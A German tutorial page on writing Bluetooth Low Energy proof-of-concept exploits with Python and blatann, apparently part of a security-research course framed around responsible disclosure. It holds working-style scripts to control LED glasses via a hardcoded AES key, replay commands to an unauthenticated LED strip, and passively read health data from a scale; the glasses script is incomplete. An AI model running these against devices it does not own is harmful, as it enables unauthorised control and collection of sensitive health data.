Phase 5: PoC-Entwicklung
Proof-of-Concept-Exploits mit Python und blatann entwickeln
Lernziel
Nach dieser Seite kannst du einen funktionsfähigen Proof-of-Concept-Exploit mit Python und der blatann-Bibliothek entwickeln. Du verstehst, warum blatann gegenüber höher abstrahierten Bibliotheken wie Bleak bevorzugt wird, kennst das Grundmuster für BLE-Exploits (Verbinden → Dienste entdecken → Ausnutzen) und kannst die in den Phasen 1–4 gewonnenen Erkenntnisse in ausführbaren Code umsetzen.
Was ist ein Proof of Concept?
Ein Proof of Concept (kurz: PoC, deutsch: Machbarkeitsnachweis) ist ein minimales, funktionsfähiges Programm, das eine Schwachstelle demonstriert. Es beweist: Die Schwachstelle ist real und ausnutzbar — nicht nur theoretisch beschreibbar.
Stell dir vor, du hast in Phase 1–4 herausgefunden, dass eine LED-Brille AES-verschlüsselte Befehle mit einem hardcodierten Schlüssel verarbeitet. Ein PoC ist das Python-Skript, das diesen Schlüssel nimmt, einen beliebigen Text verschlüsselt und an die Brille schickt — ohne die Original-App, ohne Root-Rechte, ohne physischen Gerätezugang jenseits der BLE-Reichweite.
PoC ist kein fertiger Angriff
Ein PoC-Skript für eine Bachelorarbeit oder ein Bug-Bounty-Programm ist bewusst unvollständig. Es demonstriert die Funktionsfähigkeit des Angriffs, enthält aber keine einsatzbereiten Exploit-Kits. Die hier gezeigten Beispiele folgen diesem Prinzip.
Warum blatann statt Bleak?
Es gibt mehrere Python-Bibliotheken für BLE. Die bekannteste ist Bleak — sie ist plattformübergreifend, einfach zu installieren und für viele Anwendungsfälle ausreichend. Warum also blatann?
Der entscheidende Unterschied liegt auf der Link-Layer-Ebene. Bleak verwendet den Bluetooth-Stack des Betriebssystems (BlueZ unter Linux, CoreBluetooth unter macOS). Das bedeutet: Du hast keinen Zugriff auf Low-Level-Parameter wie Connection Interval, Slave Latency oder PHY-Einstellungen. Außerdem benötigst du für Bleak den normalen Bluetooth-Adapter des Rechners — und dieser wird in Phase 2 bereits als Sniffer mit der nRF-Sniffer-Firmware betrieben.
blatann hingegen kommuniziert direkt mit dem nRF52840-Dongle über die Connectivity-Firmware von Nordic Semiconductor. Das gibt dir:
- Direkte Kontrolle über den nRF52840-Stack (Chip-Level)
- Zugriff auf Link-Layer-Parameter
- Denselben Dongle für Sniffen (Phase 2) und für Exploits (Phase 5) — nur die Firmware wechselt
- Zuverlässige Timing-Kontrolle, die für Protokoll-Handshakes wichtig ist
Firmware wechseln für Phase 5
Der nRF52840-Dongle muss für Phase 5 mit der Connectivity-Firmware bespielt werden, nicht mit der Sniffer-Firmware aus Phase 2. Der Wechsel dauert ca. 2 Minuten via nRF Connect Programmer. Die Sniffer-Firmware kann jederzeit wieder aufgespielt werden.
Setup: Python 3.9+ und blatann 0.6.0
# Virtuelle Umgebung erstellen (empfohlen)
python3 -m venv ble-poc-env
source ble-poc-env/bin/activate
# Bibliotheken installieren
pip install blatann==0.6.0
pip install pycryptodome==3.20.0 # Für AES-Operationen
# Installation prüfen
python3 -c "import blatann; print(blatann.__version__)"
# Ausgabe: 0.6.0Connectivity-Firmware flashen (einmalig, vor Phase 5):
# In nRF Connect for Desktop: Programmer-App öffnen
# Connectivity-Firmware: connectivity_4.1.4_usb_with_s132_5.1.0.hex
# (Im blatann-Paket enthalten unter: blatann/sdk/connectivity/)
# Alternativ über pip-Paketpfad finden:
python3 -c "import blatann; import os; print(os.path.dirname(blatann.__file__))"Serielle Port-Berechtigungen
blatann kommuniziert mit dem Dongle über /dev/ttyACM0 (Linux). Ohne Gruppenrechte scheitert die Verbindung mit einem Permission-Denied-Fehler. Prüfe mit ls -la /dev/ttyACM* und stelle sicher, dass du in der Gruppe dialout bist (sudo usermod -a -G dialout $USER, dann neu anmelden).
Das PoC-Grundmuster: Verbinden → Entdecken → Ausnutzen
Jeder BLE-Exploit folgt demselben dreiteiligen Muster. Dieses Template ist der Ausgangspunkt für alle drei Fallbeispiele:
from blatann import BleDevice
# Konstanten aus Phase 1 und Phase 4
TARGET_MAC = "AA:BB:CC:DD:EE:FF" # Aus Wireshark oder Phase 1
CHAR_UUID = "0000ff01-0000-1000-8000-00805f9b34fb" # Aus JADX
SERIAL_PORT = "/dev/ttyACM0" # Linux; Windows: "COM3"
def exploit(port: str, target_mac: str) -> None:
# 1. BLE-Gerät (nRF52840-Dongle) initialisieren
ble_device = BleDevice(port)
ble_device.open()
# 2. Verbindung aufbauen (Timeout: 15 Sekunden)
print(f"[*] Verbinde mit {target_mac}...")
peer = ble_device.connect(target_mac).wait(timeout=15)
if peer is None:
print("[!] Verbindung fehlgeschlagen — Gerät in Reichweite?")
ble_device.close()
return
# 3. GATT-Dienste und Charakteristiken entdecken
print("[*] Entdecke GATT-Dienste...")
peer.discover_services().wait(timeout=10)
# 4. Ziel-Charakteristik finden
char = peer.database.find_characteristic(CHAR_UUID)
if char is None:
print(f"[!] Charakteristik {CHAR_UUID} nicht gefunden")
peer.disconnect().wait()
ble_device.close()
return
# 5. Payload schreiben (exploit-spezifisch)
payload = bytes([0x01, 0x02, 0x03])
char.write(payload).wait(timeout=5)
print(f"[+] Payload gesendet: {payload.hex()}")
# 6. Aufräumen
peer.disconnect().wait()
ble_device.close()
if __name__ == "__main__":
exploit(SERIAL_PORT, TARGET_MAC)Fallbeispiel 1: LED-Brille (AES-ECB-Verschlüsselung)
Die LED-Brille verschlüsselt jeden Befehl mit AES-ECB und einem 16-Byte-Schlüssel, der hardcodiert in der nativen Bibliothek libencrypt.so liegt (Phase 3, Ghidra-Analyse). Die Verschlüsselung schützt vor zufälligem Replay — aber nicht vor einem Angreifer mit dem Schlüssel.
Das Protokoll (aus Phase 4 rekonstruiert) sieht so aus:
- Verbindungsaufbau
- Handshake: Gerät sendet eine 4-Byte-Challenge auf Notification-Charakteristik
- App antwortet mit verschlüsseltem Acknowledgement
- Danach akzeptiert das Gerät verschlüsselte LED-Matrix-Befehle
from blatann import BleDevice
from Crypto.Cipher import AES
# Aus Ghidra extrahiert (Phase 3) — hier absichtlich unvollständig
AES_KEY = bytes.fromhex("AABBCCDDEEFF00112233445566778899") # Beispiel
WRITE_UUID = "0000ff02-0000-1000-8000-00805f9b34fb"
NOTIFY_UUID = "0000ff01-0000-1000-8000-00805f9b34fb"
def encrypt_command(key: bytes, plaintext: bytes) -> bytes:
"""AES-ECB-Verschlüsselung (kein IV, kein Nonce — ECB-Schwäche)."""
cipher = AES.new(key, AES.MODE_ECB)
# Auf 16-Byte-Block-Grenze auffüllen
padded = plaintext.ljust(16, b'\x00')
return cipher.encrypt(padded)
def send_text_to_glasses(port: str, mac: str, text: str) -> None:
ble_device = BleDevice(port)
ble_device.open()
peer = ble_device.connect(mac).wait(timeout=15)
peer.discover_services().wait()
write_char = peer.database.find_characteristic(WRITE_UUID)
notify_char = peer.database.find_characteristic(NOTIFY_UUID)
# Notifications aktivieren (für Challenge-Response)
notify_char.subscribe(on_notification_received).wait()
# LED-Matrix-Text-Befehl bauen und verschlüsseln
# Protokollformat aus Phase 4: [0xAB, 0x00, len, ...text_bytes, checksum]
text_bytes = text.encode("ascii")[:12] # Max. 12 Zeichen
cmd = bytes([0xAB, 0x00, len(text_bytes)]) + text_bytes
encrypted = encrypt_command(AES_KEY, cmd)
write_char.write(encrypted).wait()
print(f"[+] Text '{text}' an LED-Brille gesendet")
peer.disconnect().wait()
ble_device.close()AES-ECB: Warum das ein Problem ist
AES-ECB (Electronic Codebook) verschlüsselt jeden 16-Byte-Block unabhängig mit demselben Schlüssel. Das bedeutet: Gleicher Klartext ergibt immer gleichen Geheimtext. Ein Angreifer kann Muster erkennen, ohne den Schlüssel zu kennen, und aufgezeichnete Blöcke gezielt wiederverwenden. Sicherer wäre AES-CCM oder AES-GCM mit zufälligem Nonce pro Nachricht.
Fallbeispiel 2: LED-Strip (Klartext-Replay)
Der Smart-LED-Strip verwendet keinerlei Verschlüsselung und kein Pairing. Die Steuerbefehle liegen im Klartext vor (Phase 2). Ein Replay-Angriff ist damit trivial: Befehle aufzeichnen, später abspielen.
Das Protokollformat (aus Phase 4):
7e [len] [opcode] [params...] ef
Beispiel Farbbefehl Rot: 7e 07 05 03 ff 00 00 10 ef
from blatann import BleDevice
# Aus Phase 1 (JADX): Einzige relevante Charakteristik
WRITE_UUID = "0000ffd9-0000-1000-8000-00805f9b34fb"
def build_color_cmd(r: int, g: int, b: int) -> bytes:
"""LED-Strip-Farbbefehl nach rekonstruiertem Protokoll (Phase 4)."""
return bytes([0x7e, 0x07, 0x05, 0x03, r, g, b, 0x10, 0xef])
def set_led_color(port: str, mac: str, r: int, g: int, b: int) -> None:
ble_device = BleDevice(port)
ble_device.open()
peer = ble_device.connect(mac).wait(timeout=15)
peer.discover_services().wait()
char = peer.database.find_characteristic(WRITE_UUID)
payload = build_color_cmd(r, g, b)
char.write(payload).wait()
print(f"[+] Farbe gesetzt: RGB({r}, {g}, {b})")
print(f" Payload: {payload.hex()}")
peer.disconnect().wait()
ble_device.close()
# Beispiel: Brille auf Rot setzen
# set_led_color("/dev/ttyACM0", "AA:BB:CC:DD:EE:FF", 255, 0, 0)Replay ohne Authentifizierung
Da der LED-Strip kein Pairing und keine Authentifizierung verwendet, kann sich jedes BLE-Gerät verbinden. Das PoC-Skript benötigt nur die MAC-Adresse des Strips — die in jedem Advertising-Paket enthalten ist und passiv erfasst werden kann. CVSS-Score dieser Schwachstelle: 8.1 (HIGH).
Fallbeispiel 3: Körperwaage (Passive Advertisement-Analyse)
Die Lebenlang-Waage sendet Messdaten direkt in BLE-Advertisement-Paketen, ohne GATT-Verbindung. Ein PoC muss daher nicht einmal eine Verbindung aufbauen — passives Scannen genügt.
from blatann import BleDevice
from blatann.gap.advertise_data import AdvertisingData
def parse_scale_advertisement(adv_data: bytes) -> dict:
"""
Waagen-Advertisement-Payload dekodieren (Protokoll aus Phase 4).
Manufacturer Specific Data (Type 0xFF), Company ID 0x05C0
Offset 2-3: Gewicht in 0.01 kg-Einheiten
Offset 4-5: Körperimpedanz in 0.1 Ohm-Einheiten
"""
if len(adv_data) < 6:
return {}
weight_raw = (adv_data[2] << 8) | adv_data[3]
impedance_raw = (adv_data[4] << 8) | adv_data[5]
return {
"weight_kg": weight_raw / 100.0,
"impedance_ohm": impedance_raw / 10.0,
}
def scan_for_scale(port: str, scan_duration_s: int = 15) -> None:
ble_device = BleDevice(port)
ble_device.open()
print(f"[*] Scanne {scan_duration_s}s nach Waagen-Advertisements...")
# Scanner konfigurieren und starten
scanner = ble_device.scanner
scanner.start()
import time
time.sleep(scan_duration_s)
for report in scanner.scan_reports:
# Manufacturer Specific Data herausfiltern
mfr_data = report.advertise_data.manufacturer_specific_data
if mfr_data and mfr_data[:2] == bytes([0xC0, 0x05]):
result = parse_scale_advertisement(mfr_data)
if result:
print(f"[+] Waage gefunden: {report.peer_address}")
print(f" Gewicht: {result['weight_kg']:.2f} kg")
print(f" Impedanz: {result['impedance_ohm']:.1f} Ohm")
scanner.stop()
ble_device.close()DSGVO-Relevanz: Gesundheitsdaten im Advertisement-Kanal
Körpergewicht und Impedanz sind nach DSGVO Artikel 9 besonders schutzbedürftige Gesundheitsdaten. Die Waage sendet diese Daten unverschlüsselt und ohne Authentifizierung an jeden passiven Empfänger in einem Radius von ca. 30 Metern. Das passive PoC-Skript demonstriert, dass kein technisches Angriffswissen erforderlich ist — nur ein BLE-Empfänger.
Interaktive PoC-Umgebung
Interaktive Checkliste: Phase 5
Phase 5: PoC-Entwicklung
0/14Zeitaufwand und Ergebnisse
Phase 5 dauert typisch 4–6 Stunden für ein mittleres Gerät. Die Zeit verteilt sich so:
- 1–2 h: Setup (Firmware, Bibliotheken, Berechtigungen)
- 1–2 h: Grundverbindung und Service Discovery testen
- 1–2 h: Exploit-Logik implementieren und debuggen
Das Hauptergebnis ist ein funktionsfähiger PoC, der in der Responsible-Disclosure-Meldung als technischer Nachweis dient. Kein Hersteller kann eine Schwachstelle ignorieren, wenn ein funktionsfähiges Skript beigelegt ist, das den Angriff in 10 Zeilen reproduziert.
Debugging mit blatann
Aktiviere das blatann-Logging für detaillierte Ausgaben: import logging; logging.basicConfig(level=logging.DEBUG). Du siehst dann jeden ATT-Befehl, jeden Response und jeden Fehler — unschätzbar beim Debuggen von Protokoll-Handshakes.
Zusammenfassung
- blatann bietet direkten Zugriff auf den nRF52840-Stack und ist damit die richtige Wahl für BLE-PoC-Exploits — der gleiche Dongle, der in Phase 2 snifft, wird in Phase 5 zum Angreifer.
- Das Grundmuster jedes BLE-Exploits:
BleDevice öffnen → verbinden → discover_services → Charakteristik finden → Payload schreiben. - LED-Brille: AES-ECB mit hardcodiertem Schlüssel — Verschlüsselung ohne Sicherheitsgewinn.
- LED-Strip: Kein Pairing, kein Schutz — direktes Replay beliebiger Befehle.
- Körperwaage: Gesundheitsdaten im Advertisement-Kanal — keine Verbindung notwendig, passives Scannen genügt.
- Phase 5 schließt das 5-Phasen-Framework ab: Aus theoretischen Befunden werden ausführbare Nachweise.
Warum wird blatann gegenüber Bleak für BLE-PoC-Exploits in diesem Framework bevorzugt?